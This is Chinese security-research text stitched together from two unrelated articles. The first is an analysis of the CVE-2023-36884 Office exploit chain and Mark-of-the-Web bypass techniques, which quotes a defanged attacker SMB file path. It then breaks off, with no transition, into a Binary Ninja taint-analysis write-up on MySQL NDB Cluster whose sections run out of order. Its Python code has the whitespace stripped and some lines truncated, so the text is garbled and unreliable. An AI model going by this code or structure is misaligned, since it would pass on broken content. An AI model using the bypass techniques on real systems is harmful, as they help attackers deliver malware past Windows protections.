start.xml中引用RFile.asp的iframe片段

RFile.asp負責在服務器上加載另一個文件,該文件的攻擊特定路徑定義為:

file[:]//104.234.239[.]26/share1/MSHTML_C7/1/__file001.htm?d=__該路徑由受害者的

10.png

RFile.asp中的代碼段

濫用Windows搜索處理程序file001.htm的核心行為是執行JavaScript,如下圖中的代碼片段所示。

11.jpeg

file001.htm片段

file001.htm中的JavaScript使用iframes來加載幾個文件。它首先加載一個保存的搜索文件,該文件的文件名由受害者的IP地址和以字符串file001.search-ms結尾的五位標識符組成。我們將把這個文件稱為其文件名file001.search-ms的最後一部分。

接下來是三個HTTP請求,在它們的url中使用字符串.zip_k*。除了執行計時或無操作(no-op)操作外,此行為沒有明顯的價值。

最後,MSHTML重新加載file001。 Search-ms然後加載redir_obj.htm。

這些請求的順序很明顯,因為預期的目的並不明顯。根據相關網絡流量示例中的時間戳,我們推測通過服務器端操作實現了這種事件順序的繞過,其中對.zip_k*文件的請求被用作延遲機制。下圖顯示了在Wireshark中過濾流量的數據包捕獲(pcap),突出顯示了一個HTTP GET請求與其HTTP響應之間的兩秒延遲。

12.png

使用zip_k.asp延遲響應請求

在檢查文件redir_obj.htm時,我們發現瞭如下圖所示的代碼片段。這段代碼從本地路徑加載一個文件,該文件使用在初始SMB連接期間捕獲的洩漏的主機名和用戶名分別作為CompName和UName變量,其用於打開文件file001.zip中名為1111.htm的HTML文件。

13.png

來自redir_obj.htm的片段

重新創建Windows搜索處理程序文件我們使用Windows文件資源管理器創建一個空白保存的搜索文件,文件擴展名為.search-ms,以控制包含2222的ZIP文件的位置。提取CHM並說明這個漏洞利用鍊是如何工作的。我們在File Explorer中啟動搜索並保存結果,這創建了一個.search-ms文件。這個保存的搜索文件是一個空白模板,可以重現這個漏洞利用鏈中使用的搜索處理程序文件行為。

Windows系統文件Windows. storage .search .dll處理.search-ms文件。為了成功地將ZIP文件解壓縮到redir_obj.htm文件中指定的目錄中(由圖11中所示的JavaScript iframe加載),需要進行一些更改。

首先,include元素必須包含一個本地路徑作為它的網絡路徑,並使用FILE_ATTRIBUTE_NORMAL,實現為變量attributes='128'。

14.png

基本.search ms文件,已更改為觸發ZIP提取

接下來,autoListFlags屬性必須打開第二個最低有效位,如下圖所示。這將產生一個完整的搜索,其中還包括任何ZIP存檔的內容。

15.png

在Windows.Storage.Search.dll中進行.search-ms處理的示例

此時處理.search ms文件將在目標計算機上按以下路徑創建一個目錄:

C:\Users\[USERNAME]\AppData\Local\Temp\[Temp1_zip_filename]

ZIP文件的內容隨後被提取到該目錄中。

search-ms根據早期SMB洩露的主機信息處理ZIP文件的放置和內容提取。

結果證實了從ZIP文件中提取的兩個文件:1111.htm和2222.chm。

在利用Office中以前的RCE漏洞CVE-2021-40444時,也觀察到了類似的行為。在該攻擊中,攻擊者會利用Microsoft Compressed Archive(CAB)路徑遍歷提取漏洞來實現類似的目標:將HTML文件提取到計算機上的可預測路徑。

在討論1111.htm和2222.chm文件之前,我們首先應該了解Windows安全區域。

Windows安全區域和其他障礙Windows安全區域也被稱為Internet Explorer安全區域或URL安全區域,Windows安全區域是微軟用來確定來自不同來源文件的權限機制。通常,從internet檢索的文件被標識為來自“internet Zone”,並標記為受限權限的mow。

此數據存儲在名為Zone.Identifier的文件的備用數據流(ADS)中,用於指示文件的安全區域。來自“Internet Zone”的文件的ZoneId值為3(安全區域3)。

為了使攻擊鏈的其餘部分成功,1111.htm和2222.chm文件的ZoneId值都必須在其Zone.Identifier ADS(安全區域1)中標識為1。然而,這是一個障礙,因為從遠程路徑下載並由.search-ms提取的ZIP內容的ZoneId值為3,並且該內容會自動標記為MotW。

為了成功利用,還必須克服另外兩個障礙:

障礙1:當Windows Search使用.Search ms完成時,它會刪除[Temp1_zip_filename]目錄。這將生成一個競爭條件,以加載臨時目錄中的文件。

障礙2:默認情況下,Windows不會搜索CHM文件的內容。 2222.chm文件是此漏洞利用鏈的一部分,但它不會使用Windows搜索的默認設置從ZIP存檔中提取。

使用CVE-2023-36584繞過MotW在使用CVE-2023-36884對這個漏洞鏈進行分析期間,研究人員發現了一個漏洞利用途徑,微軟將其命名為CVE-2023-36584。

Windows Search在搜索期間遍歷ZIP存檔中的所有文件。 Windows Search檢查每個文件的文件擴展名,以確定其內容是否也需要搜索。如果是,Windows Search將該文件寫入臨時目錄,並將mow添加到其中。

這個實現生成了一個固有的競爭條件。在將解壓縮文件寫入磁盤和用mow標記它之間有很短的時間窗口。如果我們在這個窗口中延遲Windows搜索,我們可以解決競爭條件並最終繞過mow。

先前利用CVE-2022-41049的技術通過向ZIP存檔中的文件添加只讀屬性來繞過motw,這避免了對區域的修改。這避免了對Zone.Identifier ADS的修改,並阻止了提取的文件接收MotW。這項技術啟發了我們,並使我們發現繞過MotW。

技術1:服務器端ZIP交換服務器端操作使我們能夠解決這些問題,我們發現了一個從檢查時間到使用時間(TOCTOU)的漏洞,當從遠程服務器下載ZIP歸檔文件時,可以利用該漏洞。

Windows使用系統文件zipfldr.dll來提取ZIP存檔的內容。這個Windows DLL文件讀取ZIP文件的標頭並將數據緩存在內存中,同時ZIP存檔的內容被提取並保存到磁盤。 Zipfldr.dll公開了一個API,該API可用於通過在ZIP存檔中指定文件索引來提取文件。

讀取文件標頭後,在使用zipfldr.dll對其進行解壓縮之前,我們可以將遠程服務器上的ZIP文件替換為包含不同名稱文件的ZIP文件,從而導致MotW無法寫入。

這種技術之所以有效,是因為urlmon.dll使用文件路徑來寫入最初從緩存在內存中的ZIP標頭讀取的MotW,以便繞過將MotW寫入文件。

該技術解決了前面提到的關於利用CVE-2023-36884的兩個障礙。成功解壓縮了.chm文件,否則將無法解壓縮,並且這些文件不會立即刪除。

下圖顯示了一個Process Monitor(procmon)視圖,說明創建名為2222.txt的替代文件的嘗試失敗。此條件允許以前保存的2222.chm避免MotW。

16.jpeg

使用TOCTOU漏洞繞過mow

我們無法確認這就是攻擊者在原始漏洞利用鏈中使用的確切技術。但是,VirusTotal對初始.docx誘惑的沙箱分析的行為日誌顯示,創建了一個名為1111.txt的文件,表明可能有一個鏡像1111.htm的替代文件名。

技術2:服務器端延遲除了第一種技術外,我們還發現了另外兩種可以顯著延遲mow編寫的技術。此場景防止寫入MotW屬性,並允許從安全區域1中的另一個線程執行文件。

從ZIP存檔中提取文件後,在將MotW添加到Zone.Identifier ADS之前,我們可以從攻擊者控制的SMB服務器引入時間延遲。這是可能的,因為SMB2協議的關閉操作包括關閉請求和結束基於SMB的文件傳輸的關閉響應。

當客戶端接收到來自傳輸文件的所有數據時,它將SMB關閉請求發送回服務器,並等待SMB關閉響應。文件已被傳輸,但傳輸操作尚未完成,直到客戶端收到關閉響應。這是一個同步操作,可以延遲相當長的一段時間。

下圖中的procmon列表顯示了在111.222.11[.]20的SMB服務器在下一次操作之前傳輸了一個名為served.zip的文件後的30秒延遲。這表示關閉請求和關閉響應之間有30秒的延遲。

在這個30秒的窗口中,1111.htm文件是一個沒有MotW的安全區域1文件。在30秒後最終發送了關閉響應後,該過程繼續,並將MotW寫入1111.htm。

17.png

mow繞過

技術3:服務器端延遲在從ZIP歸檔文件傳輸大文件時,Windows從遠程共享中讀取文件的一部分,將數據附加到磁盤上的本地文件中,然後從遠程共享中讀取其他部分,直到文件完全寫入磁盤。如果我們在文件末尾附加隨機數據,就可以在Windows將mow添加到文件之前延遲SMB服務器對文件的寫入。該文件在寫入過程中是可用的,因為它是用讀寫dwShareMode打開的。

我們通過在流程中引入10秒延遲來測試這個預設,如下圖所示。

18.png

使用延遲閱讀響應的mow

微軟安全更新地址CVE-2023-36884開發此漏洞利用鏈的攻擊者知道SMB文件傳輸期間臨時保存的本地文件的路徑是可預測的。但在微軟2023年8月的安全更新之後,臨時保存的本地文件名中添加了一個通用唯一標識符(UUID),可以使路徑隨機。

19.png

微軟2023年8月安全更新後

在上文中,我們為讀者介紹了污點源的定義等靜態污點分析方面的知識,在本文中,我們將繼續為讀者演示如何處理來自多個污染源的SSA變量的約束等技巧。

(接上文)

對來自多個污染源的SSA變量的約束在進行污染傳播時,如果有任何源變量被污染,包括PHI函數,我們就將目標變量標記為污染變量。在第二階段的過濾過程中,如果一個變量受到約束,我們會將約束應用於所有相關變量。但是,當派生變量(子變量)來自一個以上的獨立污點源(父變量),並且只有一個父變量被驗證,那麼,子變量也被認為被驗證過了。但這種做法是不可取的。考慮一下下面的例子:

1.png

假設x和y來自兩個獨立的污點源,而index是兩者之和,因此,它是一個派生變量。當x被驗證後,由於y沒有被驗證,所以,index仍然可能被污損——但是,之前的算法沒有考慮到這一點。

為了解決這個問題,我考慮將每個派生的污點變量與實際的源變量聯繫起來,稱為根變量,並維護每個根變量的def-use鏈副本。例如,變量index#3有兩個根變量:x#0和y#0變量。對於每個根變量,都利用與變量index#3相關的污點信息來維護一份可達塊的副本。當x#1變量被驗證時,只有變量index#3的副本x#0被標記為不可達,而副本y#0仍被視為污染變量。我們可以通過變量的依賴圖來表示這些關係。

使用依賴圖確定SSA變量之間的關係在變量依賴關係圖中,函數中的任何污點變量都被表示為一個節點。當一個變量來自另一個變量時,就形成了一條從父變量(節點)到子變量(節點)的有向邊。

為了建立變量之間的關係,使用get_ssa_var_definition()訪問所有污點變量的定義位置(definition site)。當MLIL表達式中的任何一個源變量被污染時,在圖中創建一個邊連接。由於在MLIL_LOAD_SSA操作中被污染的變量沒有父節點或傳入的邊,因此,它們就成為了根節點。

這樣的依賴關係圖通常存在許多弱連接的組件,因為加載自受污染的內存區的每一段內存都將被分配給一個新的變量,對應於圖中一個新節點。簡單地說,每個內存加載都會和它的派生變量一起創建一個子圖。當變量派生自多個根節點時,相應的子圖可能會與另一個子圖連接。下面是一個來自函數Dbtux:execTUX_ADD_ATTRREQ()的示例依賴關係圖:

1.png

另一個需要注意的屬性是,依賴關係圖不一定是有向無環圖(DAG)。這是因為循環可能是通過PHI函數中變量的循環依賴關係引入的。請考慮以下循環操作的SSA表示形式:

1.png

此處,counter#2的值取決於counter#1或counter#4,這是一個PHI函數,前置塊決定函數的結果。在循環的下方,counter#4依賴於counter#2。這種關係將在依賴關係圖中表示為一個循環。

生成依賴關係圖後,很容易獲得與任何受污染變量關聯的根變量。此外,還可以獲取任何給定變量的子變量和父變量來處理傳遞關係。現在唯一缺少的部分是沒有表示出受污染的信息是如何向前傳播到其他函數的。

靜態函數鉤子與過程間污點傳播一旦完成對當前函數的分析,所有帶有污染參數的MLIL_CALL_SSA和MLIL_TAILCALL_SSA指令都將被處理。對於具有已知目的地(例如,MLIL_CONST_PTR)的任何調用指令,都會提取符號以檢查靜態鉤子,具體見下面的示例代碼:

forexpr,callee_varsinself.callee.items():

ifexpr.dest.operation==MediumLevelILOperation.MLIL_CONST_PTR:

symbol=self.bv.get_symbol_at(expr.dest.constant)

forfuncinconfig.function_hooks:

ifsymbolandfuncinsymbol.name:

self.visit_function_hooks(expr,func,callee_vars)

break

else:

dest=expr.dest.constant

args=self.get_args_to_pass(expr,callee_vars)

callee_trace=MLILTracer(self.bv,dest)

callee_trace.set_function_args(args)

callee_trace.trace()靜態鉤子是處理函數的程序——與其他函數相比,我們打算以不同的方式處理這些函數。對libc函數memcpy的調用來說,無需進行污染傳播,相反,我們只對檢查受污染的大小、源或目標參數感興趣。為了向分析器提供這些信息並進行相應的配置,我們將使用具有函數名稱和參數的JSON配置,具體如下所示:

{

'memset':['arg0','arg1','arg2'],

'bzero':['arg0','arg1'],

'bcopy':['arg1','arg2'],

'memcpy':['arg0','arg1','arg2'],

'memmove':['arg0','arg1','arg2'],

'strncpy':['arg0','arg1','arg2'],

'strlcpy':['arg0','arg1','arg2']

}要檢查的參數從0開始索引。對於memcpy函數來說,所有3個參數都被標記為需要進行分析。與JSON配置中提供的參數索引相關的SSA變量,都需要進行污染檢驗。例如,配置文件中的arg2將映射到一個與memcpy函數的size參數相關的SSA參數變量:

defget_var_for_arg(self,expr,arg):

params=expr.params

argno=lambda_arg:int(_arg.split('arg').pop())

ifargno(arg)len(params):

param=params[argno(arg)]

ifparam.operationinoperations.MLIL_GET_VARS:

returnparam.vars_read[0]

defvisit_function_hooks(self,expr,func,tainted_vars):

args=config.function_hooks[func]

forarginargs:

ssa_var=self.get_var_for_arg(expr,arg)

ifssa_varintainted_vars:

logging.info('Potentialcontrolledargsincallto%s@0x%lx%s%s',func,expr.address,expr,self.get_stack_trace())靜態鉤子也可用於標記要被污染和進一步傳播的函數的輸出變量或返回值。但是,由於未考慮特定於函數的相關細節,因此,目前尚未實現該功能。必要時,可以重用MLIL_SET_VAR_SSA操作的visitor處理程序,以在CALL操作期間實現反向污染傳播。對於沒有鉤子的任何其他函數,可以通過將目標函數的變量標記為已污染來傳播污染信息。

defset_function_args(self,funcargs):

forarg,valueinfuncargs.items():

#BNfunction.parameter_varsisbuggy#2463

forvarinself.function.vars:

ifvar.name==arg:

ssa_var=SSAVariable(var,0)

ifself.is_pointer(value):

self.source_vars[ssa_var]=value

elifself.is_tainted(value):

self.tainted_vars[ssa_var]=value通過可達塊跟踪漏洞一旦污點傳播和過濾階段結束,分析的最後一個階段就是遍歷所有污點變量,並檢查潛在洩漏點(sink)的可達塊。根據已經報告的漏洞,我將查找目標定為涉及越界(OOB)內存訪問、函數調用API(如memcpy)期間的緩衝區溢出、不可信的指針輸入以及受污染的循環計數器的漏洞。本節的其餘部分將詳細介紹其他檢測策略。

OOB讀寫MySQL Cluster中的大多數漏洞都是OOB讀寫相關的內存訪問漏洞,這些是由於缺少對不可信數組索引的驗證所致。為了檢測這些漏洞,我們可以將任何MLIL_LOAD_SSA或MLIL_STORE_SSA視為洩漏點。以下是來自DBDIH:execget_latest_gci_req()的示例代碼:

Signal*arg2{Registerrsi}

int64_targ1{Registerrdi}

Dbdih:execGET_LATEST_GCI_REQ:

0@005b4b24rax#1=zx.q([arg2#0+0x28].d@mem#0)

1@005b4b27rax_1#2=zx.q([arg1#0+(rax#12)+0x9b784].d@mem#0)

2@005b4b2e[arg2#0+0x28].d=rax_1#2.eax@mem#0-mem#1

3@005b4b32returnrax_1#2

current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.srcil:[arg1#0+(rax#12)+0x9b784].d@mem#0current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.src.operation

current_function.get_low_level_il_at(0x5b4b27).mlil.ssa_form.src.src.vars_read

[ssa在這裡,rax#1是已污染的,因此,使用MLIL_LOAD_SSA的讀操作可以被認為是一個OOB讀條件。類似地,考慮一下來自Thrman:execOVERLOAD_STATUS_REP()的另一個案例:

Signal*arg2{Registerrsi}

void*arg1{Registerrdi}

Thrman:execOVERLOAD_STATUS_REP:

0@0078415fr14#1=arg2#0

1@00784162r15#1=arg1#0

2@00784165rax#1=zx.q([arg2#0+0x28].d@mem#0)

3@00784168rcx#1=[arg2#0+0x2c].d@mem#0

4@0078416b[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1

current_function.get_low_level_il_at(0x78416b).mlil.ssa_formil:[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1

current_function.get_low_level_il_at(0x78416b).mlil.ssa_form.operation

current_function.get_low_level_il_at(0x78416b).mlil.ssa_form.dest.vars_read

[ssa在這裡,rax#1再次受到污染,因此,使用MLIL_STORE_SSA的寫入操作可以被視為OOB寫入條件。

API緩衝區溢出靜態函數鉤子可用於檢測由於傳遞給memcpy、memmove等函數的參數缺乏驗證而導致的緩衝區溢出漏洞。有關此問題的詳細信息已經在上面的“靜態函數鉤子與過程間污染傳播”一節中進行了詳細的說明。簡單來說,只要掛鉤函數的任何我們感興趣的參數受到了污染,我們就會將其記錄為潛在漏洞。

不可信的指針解引用在某些情況下,我注意到MySQL Cluster會將不可信的輸入轉換為指針,然後進行指針解引用。為了識別這種漏洞,我們可以藉助於Binary Ninja的類型信息。 MLIL變量對像有一個Type屬性,用於返回與變量相關的Type對象。一個Type對象的類型可以用type_class屬性來訪問。這裡的模型是,污點源指向Signal結構中的一個污點內存區域,而目標變量是PointerTypeClass類型的。 Type對像還有一個confidence屬性,具體如下圖所示:

current_function.get_low_level_il_at(here).mlil.ssa_form

current_function.get_low_level_il_at(here).mlil.ssa_form.destcurrent_function.get_low_level_il_at(here).mlil.ssa_form.dest.var

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type.type_class

current_function.get_low_level_il_at(here).mlil.ssa_form.dest.var.type.confidence

255對於變量類型來說,confidence的最大值為255。為減少誤報,分析器僅考慮具有最大置信度的類型信息。

if(dest.var.type.type_class==TypeClass.PointerTypeClass

anddest.var.type.confidence==255andexpr.src.operation==MediumLevelILOperation.MLIL_LOAD_SSA):

instr=self.function_mlilssa[expr.instr_index]

logging.info('Potentialuntrustedpointerload@0x%lx%s%s',expr.address,instr,self.get_stack_trace())循環中的污點控制流操作我們知道,依賴於受污染變量的某些循環終止條件會導致我們感興趣的漏洞。然而Binary Ninja的MLIL並沒有提供關於循環的信息,因此,替代方案是通過HLIL來檢測受污染的循環條件。比如,Cmvmi:execEVENT_SUBSCRIBE_REQ()中循環語句的HLIL如下所示:

/*0050516b*/do

/*0050516b*/uint64_trsi_7=zx.q(*(r12+(rcx_32)+0x30))

/*00505170*/if(rsi_7u0x10]=rsi_7.b

/*00505184*/rdx_5=*(r12+0x2c)

/*00505160*/rcx_3=rcx_3+1

/*00505160*/while(rcx_3uzx.q(rdx_5))這裡的問題是,我們已經使用MLIL實現了整個污點傳播,而Binary Ninja卻無法提供MLIL和HLIL之間的映射。因此,即使可以檢測到循環,也需要知道受污染的MLIL變量是否映射到循環條件中使用的HLIL變量。

不過,倒是存在一個變通方法,即HLIL指令具有一個條件屬性,該屬性可以用來獲取與循環關聯的條件語句,而這個條件語句的地址可以映射到相應的MLIL_IF指令。

exprHLIL_DO_WHILE:dowhile(rcx_3uzx.q(rdx_5))expr.conditionHLIL_CMP_ULT:rcx_3uzx.q(rdx_5)expr.operation

hex(expr.condition.address)

'0x505169'

current_function.get_low_level_il_at(here).mlil.ssa_form

hex(current_function.get_low_level_il_at(here).mlil.ssa_form.address)

'0x505169'因此,如果任何一條MLIL_IF指令被污染,並且是HLIL循環條件的一部分,那麼分析器就會將其記錄為一個潛在的漏洞。

關於支配關係的實驗支配關係提供了關於基本塊執行順序的相關信息。如果所有通向Y的路徑都要經過X,那麼,我們就可以說基本塊X支配著另一個基本塊Y。

1.png

在所提供的圖中,節點B支配著節點C、D、E和F,因為通往這些節點的所有路徑必須經過節點B。因此,被節點B支配的全部節點集包括B、C、D、E和F節點。此外,還有一個相關的概念叫做嚴格支配方,它並不考慮可疑的節點。因此,被節點B嚴格支配的所有節點的集合包括節點C、D、E和F。

Binary Ninja的BasicBlock對象具有dominators和strict_dominators屬性,提供關於函數中支配關係的相關信息。

1.png

current_function.mlil.ssa_form.basic_blocks

[

current_function.mlil.ssa_form.basic_blocks[2].dominators

[

current_function.mlil.ssa_form.basic_blocks[2].strict_dominators

[那麼,我們該如何利用Binary Ninja中可用的dominance屬性來處理污染約束,而不是通過networkx包中的圖可達性算法來處理這個問題呢?

將約束映射到支配塊為了檢查一個SSA變量的def-use鏈中的所有基本塊是否可達,我們可以遵循以下步驟:

查找與該變量關聯的所有約束塊。

使用def-use鏈獲取所有引用該變量的基本塊。

對於每個基本塊,檢查它是否被約束塊嚴格支配。如果是,則該變量被認為是該基本塊的有效變量,並且被認為是不可達的。

1.png

回到同一個示例,索引在中得到驗證,而它又是的支配方。因此,通過檢查支配方的約束塊,就可以確定可達性

污點分析是一種挖掘安全漏洞的有效手段,即使對於大型代碼庫,也是如此。我的同事Lucas Leong最近演示瞭如何使用Clang Static Analyzer和CodeQL,通過污點分析來建模和查找MySQL NDB Cluster中的漏洞。受到該項工作的啟發,我也開始嘗試類似的東西,但這裡使用的工具是Binary Ninja,因為它也可以很好地處理閉源程序。

以下是我在從事這項工作時想到的幾件事:

在不進行邊界檢查的情況下,識別由於使用不受信任的值而導致的漏洞

污點的傳播和過濾應該對控制流敏感

支持過程間分析

對於這個問題,我將其作為一個圖的可達性問題來處理,這方面,“Tainted Flow Analysis on e-SSA-form Programs”是一篇很好的參考文獻。本文的所有分析都是基於MySQL Cluster 8.0.25和Binary Ninja 2.4.2846完成的。

定義污點源進行污點分析時,必須明確定義污點源。因為MySQL Cluster具有一個消息傳遞架構,所以,我們感興趣的污點源就是消息本身。本節提供了關於消息處理以及如何識別消息處理程序方面的詳細信息。

MySQL NDB Cluster信號MySQL NDB Cluster將功能定義為“塊”,將它們之間傳遞的消息定義為“信號”。 NDB塊通常以C++類的形式實現,每個塊在初始化時都註冊了多個信號處理程序,這些處理程序也是該類的方法。到目前為止,人們發現的大多數漏洞都位於這些消息處理程序中,也被稱為信號處理程序。

所有的塊都繼承了SimulatedBlock類,所以,它們都是使用addRecSignal()來方法來註冊其信號,而該方法則會調用SimulatedBlock:addRecSignalImpl()方法。實際上,註冊的信號處理程序的類型為ExecSignalLocal,並且需要一個參數。對這方面有興趣的讀者,可以參考Frazer Clement的文章“Ndb software architecture”,以及Steinway Wu的文章“Code Reading Notes – MySQL Cluster”,以了解更多細節。在本文中,我們只對信號處理程序的入口點感興趣。下面是一個NDBCNTR塊註冊信號處理程序的示例代碼:

addRecSignal(GSN_CNTR_WAITREP,Ndbcntr:execCNTR_WAITREP);

SimulatedBlock:addRecSignalImpl(GlobalSignalNumbergsn,ExecSignalLocalf,boolforce)

typedefvoid(BLOCK:*ExecSignalLocal)(Signal*signal);處理程序收到的“Signal”對象通常都包含不受信任的數據,而信號處理程序可以通過signal-getDataPtr()方法或其他一些方法來訪問這些數據。處理程序也可以進一步將'Signal'對像傳遞給其他函數。對於這一步的分析,方法有多種。比如,我們可以分析任何以Signal為參數的函數,或者通過交叉引用,查找對SimulatedBlock:addRecSignalImpl()的調用,只分析實際的信號處理程序,然後,通過過程間分析來處理剩下的問題。這裡,我們先介紹前面一步,至於過程間分析,我們將在後文加以介紹。

雖然Signal對象的大小為0x8030字節,但是,並非所有的字節都應該被視為污點。相反,我們應該只把該對象的一小塊內存區域定義為污點,這樣的話,只有從污點區域讀取的內存數據才會被傳播。如果將整個結構都標記為污點的話,會導致大量的誤報。就本例來說,信號的污點數據從偏移量0x28處開始,也就是說,從這個偏移量處開始加載的任何內存數據,都被標記為污點。另外,方法Signal:getDataPtr()和Signal:getDataPtrSend()都會返回一個指向該內存地址的指針。

Uint32m_sectionPtrI[3];

SignalHeaderheader;

union{

Uint32theData[8192];/*Taintedmemoryregionatanoffset0x28*/

Uint64dummyAlign;

};

Uint32m_extra_signals;

inlineconstUint32*Signal:getDataPtr()const{

returntheData[0];

}

inlineUint32*Signal:getDataPtrSend(){

returntheData[0];

}將類型信息從IDA Pro移植到Binary Ninja上這里分析的可執行文件是“ndbd”,它是利用DWARF調試信息構建的NDB Cluster Data Node Daemon進程。為了查找以指向Signal對象的指針作為參數的函數,請檢查所有函數的類型信息,如下所示:

forfuncinbv.functions:

forindex,paraminenumerate(func.parameter_vars):

ifparam.typeisnotNoneandparam.type.type_class==TypeClass.PointerTypeClass:

ifparam.type.tokens[0].text=='Signal':然而,就目前來說,Binary Ninja還無法像IDA Pro那樣魯棒地處理DWARF信息。 Binary Ninja的另一個問題是:在分析C++可執行文件時,它無法檢測“this”參數。因此,它的參數檢測並不准確,從而對我們的污點源分析帶來很大障礙。一個簡單的解決方法是,將類型信息從IDA Pro導入Binary Ninja。例如,Dblqh:prepareContinueAfterBlockedLab()方法在IDA Pro中的類型信息如下所示:

void__fastcallDblqh:prepareContinueAfterBlockedLab(Dblqh*this,Signal*signal,Dblqh:TcConnectionrecPtrtcConnectptr)同樣的函數,在Binary Ninja中看起來卻差別很大。就本例來說,“this”指針“不見”了,而Signal則成了第一個參數。因此,如果將“arg1”標記為污點源的話,將使整個分析出錯:

int32_t*Dblqh:prepareContinueAfterBlockedLab(Signal*arg1,__gnu_cxx:__ops:_Iter_comp_iter由於我們只對Signal參數的正確參數位置和類型信息感興趣,因此,我們可以使用ida2bn目錄中提供的腳本對其進行修復:

int32_t*Dblqh:prepareContinueAfterBlockedLab(void*arg1,Signal*arg2,int64_t*arg3,int32_targ4)一旦類型信息得到修復,我們就可以使用Signal參數來識別函數並標記污染源了。關於通過Binary Ninja處理類型的更多細節,請參考https://docs.binary.ninja/guide/type.html。

污點的傳播與過濾污點傳播的目標很簡單:當某變量被賦予來自Signal數據中的值時,將其標記為污點。如果任何其他變量是從受污染的變量派生出來的,也將其標記為受污染的變量,依此類推。當存在sanitizer時,挑戰就來了。假設一個變量被污染了,但是在某些代碼路徑中存在對該變量的驗證處理。在這種情況下,該變量在該代碼路徑中就不會受污染了。污點傳播應該對控制流敏感,以避免過度污染和誤報。在下面的小節中,我們將介紹如何使用Binary Ninja的IL和SSA形式解決這個問題。此外,如果讀者想要透徹掌握這個主題的話,可以進一步閱讀https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/和https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/這兩篇文章。

Binary Ninja的IL和SSA形式Binary Ninja支持各種中間語言(IL),如低級IL(LLIL)、中級IL(MLIL)和高級IL(HLIL)。由於MLIL用變量抽像出了堆棧內存訪問,並提供了與調用位置相關的參數,所以,我認為它更適合執行過程間的污點分析。此外,與HLIL相比,MLIL具有更加豐富的文檔可用。

Binary Ninja提供的另一種強大功能是:能夠為可用的IL提供靜態單賦值(Single Static Assignment,SSA)形式。在SSA形式中,每個變量只被定義一次。當變量被重新賦予另一個值時,會創建一個新的變量版本。因此,我們可以在函數中“全方位地”跟踪一個被污染的變量。現在,請考慮下面最簡單的例子:當變量x被重新賦值時,在SSA形式中會創建一個新版本的變量:

x=1x#0=1

x=x+1x#1=x#0+1SSA變量的def-use鏈Binary Ninja提供瞭如下兩個API:get_ssa_var_definition()和get_ssa_var_uses(),分別用來獲取一個變量的定義位置及其用途。為了便於說明,請看下面Thrman:execOVERLOAD_STATUS_REP()方法的MLIL SSA代碼片段:

Thrman:execOVERLOAD_STATUS_REP:

2@00784165rax#1=zx.q([arg2#0+0x28].d@mem#0)

3@00784168rcx#1=[arg2#0+0x2c].d@mem#0

4@0078416b[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1這裡,arg2是一個指向Signal對象的指針。在地址0x00784165處,SSA變量“rax#1”被賦予了一個來自[arg2#0+0x28]的污點值。使用這個被污染的SSA變量rax#1的MLIL指令可以被通過下列方式獲得:

current_function.get_low_level_il_at(here).mlil.ssa_form

current_function.get_low_level_il_at(here).mlil.ssa_form.destssa_var=current_function.get_low_level_il_at(here).mlil.ssa_form.dest

current_function.mlil.ssa_form.get_ssa_var_definition(ssa_var)

current_function.mlil.ssa_form.get_ssa_var_uses(ssa_var)

[il:[arg1#0+(rax#13)+0x3ca0].d=rcx#1@mem#0-mem#1]這些API是我們進一步進行污染分析的構建塊。

用SSA def-use鏈進行污染傳播由於Binary Ninja的IL的組織形式為表達式樹,因此,某個操作的操作數可以由其他操作組成。下圖是BNIL Instruction Graph插件為MLIL SSA指令生成的:

current_function.get_low_level_il_at(here).mlil.ssa_form

current_function.get_low_level_il_at(here).mlil.ssa_form.operation 1.png

其中,MLIL_SET_VAR_SSA操作標記了一個新SSA變量的定義,它將dest變量的值設為src表達式的結果,而src表達式可以由許多其他操作組成。就這裡來說,MLIL_ADD向Signal的基址添加偏移量0x28,然後,MLIL_LOAD_SSA從通過MLIL_ADD計算得到的地址中讀取該值。注意,有效的污染傳播需要訪問每個指令表達式的所有MLIL SSA操作。 Josh Watson的emILator和Jordan的IL指令計數代碼是訪問和處理MLIL SSA指令表達式的好例子。那麼,污點傳播算法到底做了些什麼呢?

線性訪問函數中的所有MLIL SSA指令

對於任何MLIL_SET_VAR_SSA操作,解析src表達式以檢查它是否是受污染的數據

如果src操作數返回受污染的數據,則使用get_ssa_var_uses()獲取dest SSA變量的使用情況

訪問使用受污染SSA變量的指令,並在遇到MLIL_SET_VAR_SSA時傳播受污染的SSA變量

一旦某個指令污染了某個變量,將其標記為已訪問,並且不再訪問該變量

對SSA變量的約束一旦確定了污點傳播算法,接下來該如何處理污點變量的sanitizer呢?我們只對不進行任何驗證的代碼路徑感興趣。考慮到這一點,讓我們重新審視一下基於def-use鏈的污點傳播算法。實際上,def-use鏈就是代碼的順序語句;因此,這種污點傳播對控制流並不敏感,具體請看下面的演示示例:

1.png

其中,傳遞給函數的變量“value”已經收到污染,並在兩個不同的代碼路徑中被用到。在執行0x1184處的基本塊的代碼路徑中,該變量進行了相應的驗證,並被認為是“乾淨的”。同時,用於該變量的get_ssa_var_uses()函數返回了3條指令,具體如下所示:

current_function.get_low_level_il_at(here).mlil.ssa_form.function.get_ssa_var_uses(dest)

[線性處理這3條指令會導致錯誤的結論,即驗證在污點值的兩次使用之前進行。實際上,只有一條指令是受保護的;而其他兩條指令則是易受攻擊的。這個問題可以通過引入控制流來解決。

基於約束圖的控制流敏感傳播其中,MediumLevelILInstruction類有一個il_basic_block屬性,可用來獲取MLIL指令的基本塊信息。

current_function.get_low_level_il_at(here).mlil.ssa_form.il_basic_block利用這個屬性,我們可以獲取SSA變量的定義和SSA變量的使用情況的基本塊,其中也包括進行驗證的基本塊。這些基本塊也被稱為“約束”塊。這些基本塊的一些特性如下所示:

定義塊總是支配著SSA變量的所有使用情況。

擁有定義的基本塊可以包含約束。這同樣適用於def-use鏈的任何基本塊。

一個定義塊總是可達的,因此,其中的所有指令也是可達的。

考慮到這是一個圖的可達性問題,所以,現在問題就變成:在有約束塊的情況下,我們能不能到達SSA變量的def-use鏈中的所有指令?為了回答這個問題,我們可以通過函數的CFG建立一個約束圖,並對其應用如下路徑查找算法:

